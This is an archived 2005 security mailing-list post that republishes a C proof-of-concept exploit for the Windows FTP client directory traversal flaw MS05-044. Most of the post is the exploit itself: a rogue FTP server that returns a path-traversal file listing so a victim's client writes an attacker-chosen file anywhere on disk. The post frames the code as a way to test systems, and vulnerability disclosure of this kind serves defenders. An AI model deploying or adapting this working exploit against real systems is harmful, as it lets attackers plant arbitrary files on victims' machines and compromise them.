[EXPL] Microsoft Windows FTP Client File Transfer Location Tampering Exploit (MS05-044)

From: SecuriTeam (support_at_securiteam.com)
Date: 10/17/05

  • Next message: SecuriTeam: "[NT] AhnLab V3 Antivirus Archive Handling Buffer Overflow (ALZ/UUE/XXE)"
    To: list@securiteam.com
    Date: 17 Oct 2005 09:54:28 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Microsoft Windows FTP Client File Transfer Location Tampering Exploit
    (MS05-044)
    ------------------------------------------------------------------------

    SUMMARY

    A tampering vulnerability exists in the Windows FTP client. This
    vulnerability could allow an attacker to modify the intended destination
    location for a file transfer, when a client has manually chosen to
    transfer a file by using FTP. This vulnerability could allow the attacker
    to write the file to any file system that is located on an affected
    system. For more information about this vulnerability read
    <http://www.securiteam.com/windowsntfocus/6M00I0KEAU.html> here.

    The following exploit code can be used to test your system for the Windows
    FTP client file transfer location tampering vulnerability (MS05-044).

    DETAILS

    CVE Information:
     <http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2126>
    CAN-2005-2126

    Exploit:
    /*
    * Microsoft Internet Explorer FTP Download Directory Traversal PoC Exploit
    *
    * by Albert Puigsech Galicia (ripe / 7a69)
    *
    */

    #include <stdio.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <errno.h>

    #define MAX_BUF 1024
    #define FTP_PORT 21

    int main(int argc, char **argv) {
    char ch;
    char buffer[MAX_BUF + 1];
    char ipbuf[MAX_BUF + 1];
    char *local_file, *remote_file;
    int sfdmain, sfdses, sfddata;
    int readed;
    int ip1,ip2,ip3,ip4,port1,port2;
    int fd;
    struct stat st;
    struct sockaddr_in ftpmain = { AF_INET, htons(FTP_PORT), INADDR_ANY };
    struct sockaddr_in ftpdata;

    if (argc < 3) {
    printf("\t7a69Adv#17 - Internet Explorer FTP Download Directory Traversal
    PoC Exploit\n");
    printf("Use:\n");
    printf("\t%s <local_file> <remote_file>\n", argv[0]);
    exit(0);
    }

    local_file = argv[1];
    remote_file = argv[2];

    if ((fd = open(local_file, O_RDONLY)) == -1) {
    perror("open()");
    exit(-1);
    }

    if ((sfdmain = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
    perror("socket()");
    exit(-1);
    }

    if (bind(sfdmain, (struct sockaddr *)&ftpmain, sizeof(struct sockaddr)) ==
    -1) {
    perror("bind()");
    exit(-1);
    }

    if (listen(sfdmain, 1) == -1) {
    perror("listen()");
    exit(-1);
    }

    if ((sfdses = accept(sfdmain, NULL, NULL)) == -1) {
    perror("accept()");
    exit(-1);
    }

    write(sfdses, "200 OK\r\n", 8);

    while ((readed = read(sfdses, buffer, MAX_BUF)) > 0) {
    buffer[readed] = 0;
    printf(">> %s", buffer);
    if (!strncmp(buffer, "noop", 4)) write(sfdses, "200 OK\r\n", 8);
    else if (!strncmp(buffer, "USER ", 5)) write(sfdses, "331 OK\r\n", 8);
    else if (!strncmp(buffer, "PASS ", 5)) write(sfdses, "230 OK\r\n", 8);
    else if (!strncmp(buffer, "CWD ", 4)) write(sfdses, "250 OK\r\n", 8);
    else if (!strncmp(buffer, "PWD", 3)) write(sfdses, "257 \"/\"\r\n", 9);
    else if (!strncmp(buffer, "TYPE ", 5)) write(sfdses, "200 OK\r\n", 8);
    else if (!strncmp(buffer, "PORT ", 5)) {
    sscanf(&buffer[5], "%i,%i,%i,%i,%i,%i", &ip1, &ip2, &ip3, &ip4, &port1,
    &port2);
    snprintf(ipbuf, MAX_BUF, "%i.%i.%i.%i", ip1, ip2, ip3, ip4);
    ftpdata.sin_family = AF_INET;
    ftpdata.sin_addr.s_addr = inet_addr(ipbuf);
    ftpdata.sin_port = htons(port1*256+port2);
    if ((sfddata = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
    perror("socket()");
    exit(-1);
    }
    if (connect(sfddata, (struct sockaddr *)&ftpdata, sizeof(struct sockaddr))
    == -1) {
    write(sfdses, "421 OK\r\n", 8);
    } else {
    write(sfdses, "220 OK\r\n", 8);
    }
    }
    else if (!strncmp(buffer, "LIST", 4)) {
    write(sfdses, "150 OK\r\n", 8);
    snprintf(buffer, MAX_BUF, "-rwxrwxrwx 1 0 0 1 Dec 08 07:36
    /../../../../../../../../../../..%s\r\n", remote_file);
    write(sfddata, buffer, strlen(buffer));
    close(sfddata);
    write(sfdses, "226 OK\r\n", 8);

    }
    else if(!strncmp(buffer, "RETR ", 5)) {
    write(sfdses, "150 OK\r\n", 8);
    fstat(fd, &st);
    while(st.st_size-- > 0) {
    read(fd, &ch, 1);
    write(sfddata, &ch, 1);
    }
    close(sfddata);
    write(sfdses, "226 OK\r\n", 8);
    }
    else if (!strncmp(buffer, "QUIT", 4)) {
    write(sfdses, "221 OK\r\n", 8);
    close(sfdses); close(sfdmain); close(sfddata);
    }
    else
    write(sfdses, "500 WTF\r\n", 9);

    }
    }

    ADDITIONAL INFORMATION

    The information has been provided by Albert Puigsech Galicia.
    The original article can be found at:
    <http://www.frsirt.com/exploits/20051013.ms05-044.c.php>
    http://www.frsirt.com/exploits/20051013.ms05-044.c.php

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] AhnLab V3 Antivirus Archive Handling Buffer Overflow (ALZ/UUE/XXE)"

    Relevant Pages

    • [EXPL] mtFTPd Server Format String (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... / discovered by darkeagle - xx.10.04 ... build_un(unsigned int retaddr, unsigned int offset, unsigned int base, ... main(int argc, char * argv) ...
      (Securiteam)
    • [EXPL] Samba "send_mailslot()" Buffer Overflow Vulnerability (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... void put_name(char *dest, const char *name, int pad, unsigned int ...
      (Securiteam)
    • [EXPL] Crystal FTP Pro Client LIST Proof of Concept
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... unsigned char reverseshell[] = ... void auth; ... void handle_cmd (int s, int connfd, char* ip); ...
      (Securiteam)
    • [NEWS] Ventrilo Denial of Service
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Lack of proper packet handling within Ventrilo allow attackers to crash ... void ventrilo_udp_head_dec(unsigned char *data) ... void ventrilo_udp_data_dec(unsigned char *data, int len, unsigned short ...
      (Securiteam)
    • [EXPL] Windows Lsasrv.dll Remote Universal Exploit (MS04-011)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... unsigned char reverseshell[] = ... int num; ... len = recv(sockfd, recvbuf, 1600, 0); ...
      (Securiteam)